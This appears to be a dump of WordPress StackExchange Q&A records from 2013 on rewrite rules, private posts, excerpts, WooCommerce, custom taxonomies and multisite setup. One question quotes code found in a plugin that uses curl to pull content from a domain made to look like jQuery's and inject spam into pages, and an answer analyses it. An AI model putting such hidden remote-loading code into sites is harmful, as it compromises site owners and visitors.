"text": "<p>If you have no other option and have to use 404 redirection. You would use <code>template_redirect</code> action ... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108508",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33262/"
] | I've been looking all over the web for something like what I need and I haven't find anything resemble not even similar, the thing is this:
I got a Page Template to a simple page post type, let's say 'Fruits' and then in this template I am calling a Web Services that will bring back all fruits with a certain descripti... | As I hinted at in my comment, I would use the rewrite API to handle this, specifically by [adding a rewrite endpoint](http://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint). That way you don't have to deal with working out what's an actual 404, and what's a request for one of your dynamically generated pages. It ... |
108,525 | <p><strong>Hidden private posts for not logged in users</strong></p>
<p>The private posts are by default only visible when logged in.</p>
<p><strong>Override, show private posts for everyone</strong></p>
<p>Is there a clever way to override this? Make it visible to everyone?</p>
<p><strong>404 page</strong></p>
<p... | [
{
"answer_id": 210176,
"author": "flomei",
"author_id": 65455,
"author_profile": "https://wordpress.stackexchange.com/users/65455",
"pm_score": 1,
"selected": false,
"text": "<p>As already mentioned in the comments, private posts are private for a good reason.</p>\n\n<p>If you want to ch... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108525",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/5244/"
] | **Hidden private posts for not logged in users**
The private posts are by default only visible when logged in.
**Override, show private posts for everyone**
Is there a clever way to override this? Make it visible to everyone?
**404 page**
I know about using it in queries but the big problem is the 404 page that is... | As already mentioned in the comments, private posts are private for a good reason.
If you want to change this behaviour, you could probably alter the [`get_posts()`](https://codex.wordpress.org/Template_Tags/get_posts) which is used to retrieve your posts.
I did not try it, but this could work:
```
$args = array(
... |
108,530 | <p>I am using this snippet</p>
<pre><code><a href='<?php the_permalink() ?>' title='<?php echo strip_tags(the_excerpt()); ?>
</code></pre>
<p>with which I am intending to remove all <code>ellipses</code>, <code><p></code> tags and other <code>shortcodes</code> and <code>links</code>, but that doe... | [
{
"answer_id": 210176,
"author": "flomei",
"author_id": 65455,
"author_profile": "https://wordpress.stackexchange.com/users/65455",
"pm_score": 1,
"selected": false,
"text": "<p>As already mentioned in the comments, private posts are private for a good reason.</p>\n\n<p>If you want to ch... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108530",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36011/"
] | I am using this snippet
```
<a href='<?php the_permalink() ?>' title='<?php echo strip_tags(the_excerpt()); ?>
```
with which I am intending to remove all `ellipses`, `<p>` tags and other `shortcodes` and `links`, but that does not work at all.
If I hover the anchor, I am still getting to see the `<p>` wrapped in t... | As already mentioned in the comments, private posts are private for a good reason.
If you want to change this behaviour, you could probably alter the [`get_posts()`](https://codex.wordpress.org/Template_Tags/get_posts) which is used to retrieve your posts.
I did not try it, but this could work:
```
$args = array(
... |
108,536 | <p>We're doing some SEO tweaking to a site, and our SEO guru informs us that we need to remove the <code><h3></code> tags from the <code>#reply-title</code> element, output from line 1554 of <code>comments-template.php</code>. It's the header text for the comments form.</p>
<p>as seen here :</p>
<pre><code><... | [
{
"answer_id": 108562,
"author": "Morgan Estes",
"author_id": 26317,
"author_profile": "https://wordpress.stackexchange.com/users/26317",
"pm_score": 0,
"selected": false,
"text": "<p>There isn't a way to change that particular <code><h3></code> element without hacking core (and yo... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108536",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/8898/"
] | We're doing some SEO tweaking to a site, and our SEO guru informs us that we need to remove the `<h3>` tags from the `#reply-title` element, output from line 1554 of `comments-template.php`. It's the header text for the comments form.
as seen here :
```
<?php if ( comments_open( $post_id ) ) : ?>
<?php do_act... | Today there is a native option to do this without hacking the core, or doing tricky filters with output buffer. You just need to use the filter `'comment_form_defaults'` and edit the values from `'title_reply_before'` and `'title_reply_after'` key:
```
add_filter( 'comment_form_defaults', 'custom_reply_title' );
funct... |
108,539 | <p>I found this in a plugin. What does it do? is it dangerous?</p>
<pre><code>add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1")... | [
{
"answer_id": 108540,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 5,
"selected": true,
"text": "<p>It loads a block of markup containing spam (I thought about posting a bit of the source but I don't want to a... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108539",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33915/"
] | I found this in a plugin. What does it do? is it dangerous?
```
add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
cur... | It loads a block of markup containing spam (I thought about posting a bit of the source but I don't want to advertise the content in any way) from a domain that is a close misspelling of the domain-- `http://jquery.com/`-- used by jQuery, a reputable and popular Javascript library and one that WordPress includes in the... |
108,549 | <p>How to show the SKU next to the product name in the cart page of Woocommerce ?</p>
<p>tried to copy it from the Meta.php of single product but it breaks the page...</p>
| [
{
"answer_id": 108551,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 3,
"selected": true,
"text": "<p>Add the following code to your theme's <code>functions.php</code> file, or as a new plugin:</p>\n\n<pre><code>... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108549",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35236/"
] | How to show the SKU next to the product name in the cart page of Woocommerce ?
tried to copy it from the Meta.php of single product but it breaks the page... | Add the following code to your theme's `functions.php` file, or as a new plugin:
```
add_filter( 'woocommerce_in_cart_product_title', 'add_sku_in_cart', 20, 3);
function add_sku_in_cart( $title, $values, $cart_item_key ) {
$sku = $values['data']->get_sku();
return $sku ? $title . sprintf(" (SKU: %s)", $sku) : $ti... |
108,553 | <p>iv created custom checkboxes in the checkout page through the functions.php file but i would like one of them to be ticked how do i do this ?</p>
<pre><code>woocommerce_form_field( 'my_checkbox1', array(
'type' => 'checkbox',
'class' => array('input-checkbox'),
'label' => __('Standard Shipping (2–7 Days... | [
{
"answer_id": 108551,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 3,
"selected": true,
"text": "<p>Add the following code to your theme's <code>functions.php</code> file, or as a new plugin:</p>\n\n<pre><code>... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108553",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35236/"
] | iv created custom checkboxes in the checkout page through the functions.php file but i would like one of them to be ticked how do i do this ?
```
woocommerce_form_field( 'my_checkbox1', array(
'type' => 'checkbox',
'class' => array('input-checkbox'),
'label' => __('Standard Shipping (2–7 Days, FREE!) <span>Most ite... | Add the following code to your theme's `functions.php` file, or as a new plugin:
```
add_filter( 'woocommerce_in_cart_product_title', 'add_sku_in_cart', 20, 3);
function add_sku_in_cart( $title, $values, $cart_item_key ) {
$sku = $values['data']->get_sku();
return $sku ? $title . sprintf(" (SKU: %s)", $sku) : $ti... |
108,558 | <p>I'm attempting to load a couple of scripts based on the template in use. However, the <code>is_page_template</code> is not activating.
From my functions.php in the child theme I have:</p>
<pre><code>function sectionDescription (){
if (is_page_template('taxonomy-tableofcontents.php')){
wp_enqueue_script(... | [
{
"answer_id": 108559,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 3,
"selected": true,
"text": "<p><code>is_page_template</code> only works for templates belonging to the <code>page</code> post type. It appears you... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108558",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/2865/"
] | I'm attempting to load a couple of scripts based on the template in use. However, the `is_page_template` is not activating.
From my functions.php in the child theme I have:
```
function sectionDescription (){
if (is_page_template('taxonomy-tableofcontents.php')){
wp_enqueue_script('descriptionsectiontitle'... | `is_page_template` only works for templates belonging to the `page` post type. It appears your template is for a custom taxonomy, so you want to instead check if [`is_tax`](http://codex.wordpress.org/Function_Reference/is_tax).
```
if( is_tax( 'tableofcontents' ) )
``` |
108,570 | <p>I have a custom post type. What I'd like to do is to display the project categories just on top of the projects so visitors could then filter projects accordingly. </p>
<p>In my <code>functions.php</code> I have: </p>
<pre><code><?php
require_once('portfolio-type.php');
add_filter('excerpt_length', 'my_excerp... | [
{
"answer_id": 108576,
"author": "Rahul Verma",
"author_id": 32855,
"author_profile": "https://wordpress.stackexchange.com/users/32855",
"pm_score": 5,
"selected": true,
"text": "<p>Remove your code from portfolio-type.php that registers post type and taxonomy (line 9 onwards).</p>\n\n<p... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108570",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34301/"
] | I have a custom post type. What I'd like to do is to display the project categories just on top of the projects so visitors could then filter projects accordingly.
In my `functions.php` I have:
```
<?php
require_once('portfolio-type.php');
add_filter('excerpt_length', 'my_excerpt_length');
function my_excerpt_len... | Remove your code from portfolio-type.php that registers post type and taxonomy (line 9 onwards).
Use the following code (in portfolio-type.php) to register the post type "portfolio"
```
function portfolio_register() {
$labels = array(
'name' => _x('Portfolio', 'post type general name'),
'singular_... |
108,572 | <p>What is the difference between set_post_thumbnail_size and add_image_size? Is set_post_thumbnail_size for all images, and add_image_size for sizing images individually?</p>
<p>Thanks.</p>
| [
{
"answer_id": 108573,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>From Codex:</p>\n\n<p><code>set_post_thumbnail_size</code></p>\n\n<blockquote>\n <p>Set the default ... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108572",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34253/"
] | What is the difference between set\_post\_thumbnail\_size and add\_image\_size? Is set\_post\_thumbnail\_size for all images, and add\_image\_size for sizing images individually?
Thanks. | When an image is uploaded in WordPress, it is saved in its original size, and also as some **resized copies** in different sizes. In this way it becomes easy to use different sizes, of the same image, for different purposes.
By default, WordPress creates 3 copies in 3 different sizes:
* `'thumb'`
* `'medium'`
* `'lar... |
108,585 | <p>I’m trying to query a custom array of posts for the homepage, trying to maintain the order given in the array. To a certain degree this works fine, WordPress finds the posts, but in the Loop the order is all mixed up again.</p>
<p>First of all, I’m using the <code>pre_get_posts</code> hook to change the main query ... | [
{
"answer_id": 108737,
"author": "Max",
"author_id": 36055,
"author_profile": "https://wordpress.stackexchange.com/users/36055",
"pm_score": 0,
"selected": false,
"text": "<p>Entirely my bad, I had an old function hooked to <code>the_posts</code> that did some sorting of its own. Old cod... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108585",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36055/"
] | I’m trying to query a custom array of posts for the homepage, trying to maintain the order given in the array. To a certain degree this works fine, WordPress finds the posts, but in the Loop the order is all mixed up again.
First of all, I’m using the `pre_get_posts` hook to change the main query on the homepage, whic... | Set orderby to `post__in`. This preserves post ID order given in the post\_\_in array (available with Version 3.5).
```
$args = array (
'posts_per_page' => -1,
'post__in' => $ids,
'orderby' => 'post__in'
);
``` |
108,607 | <p>I have registered a custom post type "tutorials" with the following snippet.
<pre><code>
<?php
/*
Template Name: Tutorial Archive
*/
get_header(); ?>
<div id="content">
<div class="archive-page">
<?php
$temp = $wp_query;
$wp_query = null;
$wp_query = n... | [
{
"answer_id": 108737,
"author": "Max",
"author_id": 36055,
"author_profile": "https://wordpress.stackexchange.com/users/36055",
"pm_score": 0,
"selected": false,
"text": "<p>Entirely my bad, I had an old function hooked to <code>the_posts</code> that did some sorting of its own. Old cod... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108607",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36072/"
] | I have registered a custom post type "tutorials" with the following snippet.
```
<?php
/*
Template Name: Tutorial Archive
*/
get_header(); ?>
<div id="content">
<div class="archive-page">
<?php
$temp = $wp_query;
$wp_query = null;
$wp_query = new WP_Query();
$wp_query->query('showposts... | Set orderby to `post__in`. This preserves post ID order given in the post\_\_in array (available with Version 3.5).
```
$args = array (
'posts_per_page' => -1,
'post__in' => $ids,
'orderby' => 'post__in'
);
``` |
108,645 | <p>I'm creating menu in wordpress and I would like add <strong>class="active"</strong> to link when its page is active. I'm not using inbuilt wordpress menu feature. </p>
<p>I'm making menu hardcoded in header.php because this menus are linked to custom posttype archive pages. So I would like to keep class active if ... | [
{
"answer_id": 108665,
"author": "Lorenzo",
"author_id": 33443,
"author_profile": "https://wordpress.stackexchange.com/users/33443",
"pm_score": 0,
"selected": false,
"text": "<p>You can use the function <a href=\"http://codex.wordpress.org/Function_Reference/get_post_type\" rel=\"nofoll... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108645",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/20241/"
] | I'm creating menu in wordpress and I would like add **class="active"** to link when its page is active. I'm not using inbuilt wordpress menu feature.
I'm making menu hardcoded in header.php because this menus are linked to custom posttype archive pages. So I would like to keep class active if one is inside **single**... | you can use [get\_queried\_object](http://codex.wordpress.org/Function_Reference/get_queried_object), as `get_post_type` does not work on custom post type (I don't know yet why, more info [here](http://core.trac.wordpress.org/ticket/20647))
```
$obj = get_queried_object();
$custom_post_type = $obj->post_type;
```
... |
108,652 | <p>I've registered post type with following -- </p>
<pre><code>$holidayLabels = array(
'name' => __( 'Holidays'),
'singular_name' => __( 'Holidays'),
'all_items' => __( 'All Holidays'),
'add_new' => __( 'Add New Holiday'),
'add_new_item' => __( 'Add New Holiday'),
'edit_item' =&g... | [
{
"answer_id": 108655,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 0,
"selected": false,
"text": "<p>Well, one quick way would be to just hide the container div using CSS.</p>\n\n<pre><code>add_action('admin_head',... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108652",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31439/"
] | I've registered post type with following --
```
$holidayLabels = array(
'name' => __( 'Holidays'),
'singular_name' => __( 'Holidays'),
'all_items' => __( 'All Holidays'),
'add_new' => __( 'Add New Holiday'),
'add_new_item' => __( 'Add New Holiday'),
'edit_item' => __( 'Edit Holiday'),
'new... | Well, there is another way. And better, I guess.
You should look at [`register_post_type`](https://developer.wordpress.org/reference/functions/register_post_type/) parameters. You should probably set them like this:
```
'public' => false, // it's not public, it shouldn't have it's own permalink, and so on
'publicly_... |
108,654 | <p>I have this function and a link to a post:</p>
<pre><code><?php
foreach ($results as $id) {
$post = &get_post( $id->ID );
setup_postdata($post);
<li><a <?php href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a>
</li>
<?php
} ?>
</c... | [
{
"answer_id": 108655,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 0,
"selected": false,
"text": "<p>Well, one quick way would be to just hide the container div using CSS.</p>\n\n<pre><code>add_action('admin_head',... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108654",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32731/"
] | I have this function and a link to a post:
```
<?php
foreach ($results as $id) {
$post = &get_post( $id->ID );
setup_postdata($post);
<li><a <?php href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a>
</li>
<?php
} ?>
```
What I want to do is this: if there is a comment posted **today**,... | Well, there is another way. And better, I guess.
You should look at [`register_post_type`](https://developer.wordpress.org/reference/functions/register_post_type/) parameters. You should probably set them like this:
```
'public' => false, // it's not public, it shouldn't have it's own permalink, and so on
'publicly_... |
108,657 | <p>New WordPress 3.5.2 multisite (subdirectory) install is missing a slash when creating new blogs.</p>
<p>WordPress is installed to server like: </p>
<blockquote>
<p>blogs.domain.com</p>
</blockquote>
<p>When a new user registers, the conformation email has the URL for their blog like:</p>
<blockquote>
<p>blog... | [
{
"answer_id": 108854,
"author": "ClevelandState",
"author_id": 36089,
"author_profile": "https://wordpress.stackexchange.com/users/36089",
"pm_score": 1,
"selected": true,
"text": "<p>WPMU Ldap Authentication was causing the incorrect URL issue. Disabling the plugin allowed users/sites ... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108657",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36089/"
] | New WordPress 3.5.2 multisite (subdirectory) install is missing a slash when creating new blogs.
WordPress is installed to server like:
>
> blogs.domain.com
>
>
>
When a new user registers, the conformation email has the URL for their blog like:
>
> blogs.domain.comnewuser (missing the / between the domain an... | WPMU Ldap Authentication was causing the incorrect URL issue. Disabling the plugin allowed users/sites to be created correctly.
This site has a fix for the plugin that allows it to run properly in WP 3.5.2: <http://www.fotan.net/wpmu-ldap-plugin-fixes/> |
108,668 | <p>I have a custom post type called <code>portfolio</code> and a taxonomy called <code>locations</code>. In the taxonomy I have various terms, like <code>paris, berlin, london</code> etc. </p>
<p>How can I get only the posts which are related to one term, e.g. <code>paris</code>?</p>
<p>I am trying the following code... | [
{
"answer_id": 108694,
"author": "Ryad Karar",
"author_id": 36103,
"author_profile": "https://wordpress.stackexchange.com/users/36103",
"pm_score": 0,
"selected": false,
"text": "<p>Add a slug to your taxonomy :</p>\n\n<pre><code>'rewrite' => array( 'slug' => 'taxonomy_slung' )\n</... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108668",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35978/"
] | I have a custom post type called `portfolio` and a taxonomy called `locations`. In the taxonomy I have various terms, like `paris, berlin, london` etc.
How can I get only the posts which are related to one term, e.g. `paris`?
I am trying the following code, yet it gives me the ALL the posts of the taxonomy `portfoli... | You can try making the $args array more specific with:
```
$args = array(
'post_type' => 'portfolio',
'tax_query' => array(
array(
'taxonomy' => 'locations',
'field' => 'slug',
'terms' => 'paris'
)
)
);
```
Grabbed this snippet similar to one on the [WP... |
108,675 | <p>I have a custom page that uses a rewrite rule. The "non-pagination" rewrite works fine:</p>
<pre><code>add_rewrite_rule(
'^brand-list/([^/]*)/([^/]*)/?',
'index.php?pagename=brand-list&brand=$matches[1]&section=$matches[2]',
'top'
);
</code></pre>
<p>basically a url like this <code>/pagename... | [
{
"answer_id": 108678,
"author": "dcp3450",
"author_id": 8278,
"author_profile": "https://wordpress.stackexchange.com/users/8278",
"pm_score": 1,
"selected": false,
"text": "<p>I changed:</p>\n\n<pre><code>add_rewrite_rule('^brand-list/([^/]*)/([^/]*)/page/([0-9]+)?','index.php?pagename=... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108675",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/8278/"
] | I have a custom page that uses a rewrite rule. The "non-pagination" rewrite works fine:
```
add_rewrite_rule(
'^brand-list/([^/]*)/([^/]*)/?',
'index.php?pagename=brand-list&brand=$matches[1]§ion=$matches[2]',
'top'
);
```
basically a url like this `/pagename=brand-list&brand=MyBrand§ion=MySec... | I changed:
```
add_rewrite_rule('^brand-list/([^/]*)/([^/]*)/page/([0-9]+)?','index.php?pagename=brand-list&brand=$matches[1]§ion=$matches[2]&paged=$matches[3]','top');
```
to:
```
add_rewrite_rule('^brand-list/([^/]*)/([^/]*)/page/?([0-9]{1,})/?$','index.php?pagename=brand-list&brand=$matches[1]§ion=$matc... |
108,682 | <p>So I've created a custom taxonomy type with a plugin (CMS Press) and now I'm trying to get all of the posts with the taxonomy terms in that taxonomy.</p>
<p>My get_posts looks like this:</p>
<pre><code>$args = Array(
'numberposts' => 5,
'offset' => 0,
'post_status' => 'publish',
'content... | [
{
"answer_id": 108686,
"author": "Biranit Goren",
"author_id": 13359,
"author_profile": "https://wordpress.stackexchange.com/users/13359",
"pm_score": 2,
"selected": false,
"text": "<p>From <a href=\"http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters\" rel=\"nofollow... | 2013/08/01 | [
"https://wordpress.stackexchange.com/questions/108682",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36099/"
] | So I've created a custom taxonomy type with a plugin (CMS Press) and now I'm trying to get all of the posts with the taxonomy terms in that taxonomy.
My get\_posts looks like this:
```
$args = Array(
'numberposts' => 5,
'offset' => 0,
'post_status' => 'publish',
'content-type' => 'my-term'
);
get_p... | From [the WordPress codex for wp\_query](http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters):
Display posts tagged with bob, under 'people' custom taxonomy:
```
$args = array(
'post_type' => 'post',
'people' => 'bob'
);
$query = new WP_Query( $args );
```
Display posts tagged with bob, ... |
108,697 | <p>I'm trying to only show posts that a user hasn't seen, like this:</p>
<pre><code>$exclude = array(1,2,3);
$include = array(3,4,5);
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => 30,
'post__in' => $include,
'post__not_in' ... | [
{
"answer_id": 108686,
"author": "Biranit Goren",
"author_id": 13359,
"author_profile": "https://wordpress.stackexchange.com/users/13359",
"pm_score": 2,
"selected": false,
"text": "<p>From <a href=\"http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters\" rel=\"nofollow... | 2013/08/02 | [
"https://wordpress.stackexchange.com/questions/108697",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/4562/"
] | I'm trying to only show posts that a user hasn't seen, like this:
```
$exclude = array(1,2,3);
$include = array(3,4,5);
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => 30,
'post__in' => $include,
'post__not_in' => $exclude,
'ord... | From [the WordPress codex for wp\_query](http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters):
Display posts tagged with bob, under 'people' custom taxonomy:
```
$args = array(
'post_type' => 'post',
'people' => 'bob'
);
$query = new WP_Query( $args );
```
Display posts tagged with bob, ... |
108,741 | <p>I am creating a wordpress theme from scratch. I have created a seperate page to show the Blog Posts. In my all pages I want to show a div class named as shopping-cart, but I want to hide it from page <strong>id=42 (wordpress-naked BlogPage)</strong> and <strong>single.php</strong>. </p>
<p>I have coded in my header... | [
{
"answer_id": 108729,
"author": "Coen Jacobs",
"author_id": 1763,
"author_profile": "https://wordpress.stackexchange.com/users/1763",
"pm_score": 6,
"selected": true,
"text": "<p>You can find the version in <code>wp-includes/version.php</code>, the <code>$wp_version</code> variable.</p>... | 2013/08/02 | [
"https://wordpress.stackexchange.com/questions/108741",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24781/"
] | I am creating a wordpress theme from scratch. I have created a seperate page to show the Blog Posts. In my all pages I want to show a div class named as shopping-cart, but I want to hide it from page **id=42 (wordpress-naked BlogPage)** and **single.php**.
I have coded in my header.php like below
```
<?php if( is_pa... | You can find the version in `wp-includes/version.php`, the `$wp_version` variable.
It can also be found in the `readme.html` file in the root of the WordPress folder. |
108,745 | <p>I'm trying to pass a argument to the function. But it is not transmitted. var_dump produces </p>
<p><code>string'' (length = 0)</code></p>
<p>What am I doing wrong?</p>
<pre><code>$map_vars = 'Test';
function map_data($data) {
var_dump($data);
}
add_action('wp_footer', 'map_data', 10, 1);
do_action( 'map_da... | [
{
"answer_id": 108729,
"author": "Coen Jacobs",
"author_id": 1763,
"author_profile": "https://wordpress.stackexchange.com/users/1763",
"pm_score": 6,
"selected": true,
"text": "<p>You can find the version in <code>wp-includes/version.php</code>, the <code>$wp_version</code> variable.</p>... | 2013/08/02 | [
"https://wordpress.stackexchange.com/questions/108745",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24891/"
] | I'm trying to pass a argument to the function. But it is not transmitted. var\_dump produces
`string'' (length = 0)`
What am I doing wrong?
```
$map_vars = 'Test';
function map_data($data) {
var_dump($data);
}
add_action('wp_footer', 'map_data', 10, 1);
do_action( 'map_data', $map_vars );
``` | You can find the version in `wp-includes/version.php`, the `$wp_version` variable.
It can also be found in the `readme.html` file in the root of the WordPress folder. |
108,751 | <p>I have just updated to wordpress 3.6 and my theme seems to be ignoring my searchform.php file. Has this happened to anyone else? </p>
| [
{
"answer_id": 113527,
"author": "Mayeenul Islam",
"author_id": 22728,
"author_profile": "https://wordpress.stackexchange.com/users/22728",
"pm_score": 1,
"selected": false,
"text": "<p>The answer is taken from WordPress.org Support Forum thread:<br/>\n» <a href=\"http://wordpress.... | 2013/08/02 | [
"https://wordpress.stackexchange.com/questions/108751",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34375/"
] | I have just updated to wordpress 3.6 and my theme seems to be ignoring my searchform.php file. Has this happened to anyone else? | The answer is taken from WordPress.org Support Forum thread:
» [3.6 upgrade - searchform.php not working](http://wordpress.org/support/topic/36-upgrade-searchformphp-not-working?replies=9#post-4487445)
As [salcode](http://wordpress.org/support/profile/salcode) said:
Adding this code to your `functions.php` shoul... |
108,765 | <p>We know, that <code>is_admin()</code> checks if current URL belongs to DASHBOARD (<strong>BUT it doenst check whether user is ADMIN</strong>).</p>
<p>So, I use this function to detect if administrator is logged in wordpress:</p>
<pre><code>function is_admin_user(){
require_once(ABSPATH.'wp-includes/pluggable.php... | [
{
"answer_id": 108777,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 5,
"selected": false,
"text": "<p><a href=\"http://codex.wordpress.org/Function_Reference/current_user_can\"><code>current_user_can</code></a>... | 2013/08/02 | [
"https://wordpress.stackexchange.com/questions/108765",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33667/"
] | We know, that `is_admin()` checks if current URL belongs to DASHBOARD (**BUT it doenst check whether user is ADMIN**).
So, I use this function to detect if administrator is logged in wordpress:
```
function is_admin_user(){
require_once(ABSPATH.'wp-includes/pluggable.php'); return current_user_can('create_users'); ... | [`current_user_can`](http://codex.wordpress.org/Function_Reference/current_user_can) will accept a role name but, sadly, the behavior with roles [is not entirely consistent](http://core.trac.wordpress.org/ticket/22624).
The following should work and is simpler than what you have, by a little bit.
```
$current_user = ... |
108,807 | <p>I wanted to do the following, and I know its possible, but I don't know how. I'm looking at <a href="http://codex.wordpress.org/Function_Reference/in_category" rel="nofollow"><code>in_category</code></a>, but it doesn't make to much sense.</p>
<p>Basically what I want to do, for an example on my homepage, category ... | [
{
"answer_id": 108812,
"author": "Baerkins",
"author_id": 31962,
"author_profile": "https://wordpress.stackexchange.com/users/31962",
"pm_score": 0,
"selected": false,
"text": "<p>You could do something with this, depending upon how many icons you wish to use. </p>\n\n<p><a href=\"http:/... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108807",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35867/"
] | I wanted to do the following, and I know its possible, but I don't know how. I'm looking at [`in_category`](http://codex.wordpress.org/Function_Reference/in_category), but it doesn't make to much sense.
Basically what I want to do, for an example on my homepage, category page and similar posts are shown with title and... | The implementation can be purely CSS, and depends on your specific HTML markup. However, the class you'll need to target is supplied by [the `post_class()` template tag](http://codex.wordpress.org/Function_Reference/post_class).
Let's say you have something like the following, basic markup:
```
<div id="post-<?php th... |
108,809 | <p>I'm using the wp_footer hook into the plugin and it doesn't work, but when I copy the code to the "functions.php" file of the active theme it does work, what is the possible problem in this situation ?</p>
<pre><code> function mixpanel_footer(){
echo '<a style="margin-left:45%;" href="https://mixpanel.com/f/... | [
{
"answer_id": 108836,
"author": "Vinod Dalvi",
"author_id": 14347,
"author_profile": "https://wordpress.stackexchange.com/users/14347",
"pm_score": 0,
"selected": false,
"text": "<p>Try adding priority to hook as following:</p>\n\n<pre><code>function mixpanel_footer(){\n\necho '<a st... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108809",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/12144/"
] | I'm using the wp\_footer hook into the plugin and it doesn't work, but when I copy the code to the "functions.php" file of the active theme it does work, what is the possible problem in this situation ?
```
function mixpanel_footer(){
echo '<a style="margin-left:45%;" href="https://mixpanel.com/f/partner"><img sr... | Firstly, remove the `margin-left` CSS property from your html and then try if it works. May be your html is being hidden behind any other html.
Or better try this first -
Remove the current code from your function and just write any non html thing. Then put a `die()` or `exit()` and see if it's being rendered properl... |
108,826 | <p>Here is the excerpt of the post on my home page. I want to end the excerpt with a sentence. In this case it is ' opportunities. '. I know how to modify the length but it won't do what i want.</p>
<p><img src="https://i.stack.imgur.com/5vtS0.png" alt="enter image description here"></p>
<p>Here is excerpt from other... | [
{
"answer_id": 108857,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 5,
"selected": true,
"text": "<p>This requires PHP 5.3+ (WP requires PHP 5.2.4+)</p>\n\n<pre><code>add_filter('get_the_excerpt', 'end_with_sent... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108826",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/28040/"
] | Here is the excerpt of the post on my home page. I want to end the excerpt with a sentence. In this case it is ' opportunities. '. I know how to modify the length but it won't do what i want.

Here is excerpt from other website. Here you see excerpt ... | This requires PHP 5.3+ (WP requires PHP 5.2.4+)
```
add_filter('get_the_excerpt', 'end_with_sentence');
function end_with_sentence($excerpt) {
$allowed_end = array('.', '!', '?', '...');
$exc = explode( ' ', $excerpt );
$found = false;
$last = '';
while ( ! $found && ! empty($exc) ) {
$last = array_pop... |
108,830 | <p>I have this snippet:</p>
